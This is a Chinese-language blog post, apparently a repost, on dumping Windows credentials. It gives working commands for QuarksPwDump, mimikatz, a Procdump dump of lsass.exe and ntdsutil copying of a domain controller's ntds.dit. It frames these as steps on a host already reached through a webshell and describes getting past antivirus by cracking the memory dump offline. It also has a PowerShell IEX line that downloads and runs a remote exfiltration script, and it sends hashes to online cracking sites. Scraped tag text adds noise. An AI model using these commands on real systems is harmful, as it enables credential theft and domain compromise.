关于Windows系统密码抓取
2021-04-12 20:25
标签:tco must txt bsp new lease 令行 exe 版本 早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。 NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。 Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示 用户名称为:Administrator RID为:500 LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE NT-HASH值为:683020925C5D8569C23AA724774CE6CC 如果你知道这个用户的hash密码了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站。 一般用QuarksPwDump_v0.2b来抓取整个windows系列的密码hash,将得到的hash值在http://www.objectif-securite.ch/ophcrack.php查询。 QuarksPwDump抓取密码的命令如下:(其他命令可以参考软件说明) 得到的整个HASH值拿去在线破解。 密码抓取神器mimikatz来测试一下,命令如下: 图示结果如下: 有没有发现,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系统密码给取到了。NT-HASH两款软件得到的结果是一样的。 在渗透测试过程中会出现这样得场景,我已经chopper连上对方主机,但是系统默认安装了360安全卫士或其他得安全软件。我上传的mimikatz和QuarksPwDump都被查杀了。也就是说我想利用这两款软件常规思路获取系统的密码HASH已经是不太可能了。其实,我们可以先dump对方主机的LSASS内存文件,然后在自己主机用mimikatz进行处理,这样就可以得到对方主机的系统HASH和密码。 可以到微软的官方网站下载 ProDump,这个肯定不会引起杀毒软件的报毒和查杀了。 命令如下: 图示如下: 接下来,再演示一下本地用mimikatz进行破解: 首先输入命令: 接着输入命令: 可以看到,能够得到离线得到系统密码,这样就可以在对方主机上绕过杀毒软件的查杀了。 在乌云知识库中也有看到利用PowerShell完成Prodump一样工作的命令。具体命令如下: powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1‘); "Get-Process lsass | Out-Minidump" 我在被渗透主机上进行尝试过,发现也是可行的,不过chopper的虚拟终端下会显示错误,实际上已经成功执行Powershell代码。不过总体感觉还是Prodump用起来更加方便。 Metasploit中也有集成mimkatz的。具体教程可以参考 http://www.offensive-security.com/metasploit-unleashed/Mimikatz 受不了NTDSXTract的龟速,于是用quarkspwdump改了个能读取system.hiv的离线版提取工具。 ntds.dit其实就是个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库。 其命令行如下: ntdsdump.exe [-o out.txt] [-h] [-t JOHN|LC] -f ntds.dit路径 -k 可选的十六进制格式的SYSKEY -s 可选的system.hiv路径 -h 导出历史密码记录 -t 导出格式,LC或JOHN -o 导出到指定文件中 SYSKEY实际上就是HKLM\SYSTEM\CurrentControlSet\Control\Lsa下面几个子项的类型信息,可以用RegQueryInfoKey查询出来。 附件里面提供了两个导出工具,getsyskey_c.exe由vc6编译,其源码为getsyskey.cpp,用vc6直接打开编译即可。 getsyskey_cs.exe由.net2.0编译,源码为getsyskey.cs,用csc直接编译即可。 已知错误: JetAttachDatabase() failed 原因:数据库需要修复,执行esentutl /p /o ntds.dit进行修复。 下载地址: ntdsdump 另:改完之后又看了看quarkspwdump的github,发现有人提交了个pull request:https://github.com/quarkslab/quarkspwdump/pull/3 其添加了一个加载system.hiv的功能,调用了RegLoadKey。而这个API必须要过UAC才行,所以用起来还是挺别扭的,不如这个直接读取文件进行处理来得痛快。 安全脉搏姿势 在2008+域控上使用 ntdsutil snapshot mount导出ntds.dit, SAM以及System , 在域控上使用 QuarksPwDump.exe 导出绝大部分明文: 下载回本地再用QuarksPwDump似乎就不行,主要因为本地无法指定SYSTEM文件导致获取不到key 附Quarks PWDump使用参数: quarks-pwdump.exe Options : -dhl --dump-hash-local -dhdc --dump-hash-domain-cached -dhd --dump-hash-domain (NTDS_FILE must be specified) -db --dump-bitlocker (NTDS_FILE must be specified) -nt --ntds-file FILE -hist --with-history (optional) -t --output-type JOHN/LC (optional, if no=>JOHN) -o --output FILE (optional, if no=>stdout) Example: quarks-pwdump.exe --dump-hash-domain --with-history 当然也可以把ntds.dit, SAM以及System下载回来(很多大内网 ntds就好几G,下载回来不太科学)用某工具解密 不过感觉有点庞大,现在我们可以使用NTDSDump.exe https://www.secpulse.com/archives/6301.html https://www.cnblogs.com/hiccup/p/4380298.html 关于Windows系统密码抓取 标签:tco must txt bsp new lease 令行 exe 版本 原文地址:https://www.cnblogs.com/zhaijiahui/p/8994482.html 0x01 windows密码Hash
0x02 QuarksPwDump
quarkspwdump.exe -dhl
0x03 mimikatz
privilege::debug
sekurlsa::logonpasswordsProcdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonpasswords
0x04 NTDSDump相关
ntdsutil
snapshot
activate instance ntds
create
mount {GUID}
copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
unmount {GUID}
quit
quit
然后就是各种copy了
QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit
NTDSDump.exe -f ntds.dit -s SYSTEM -o SecPulseHash.txt
0x05 参考链接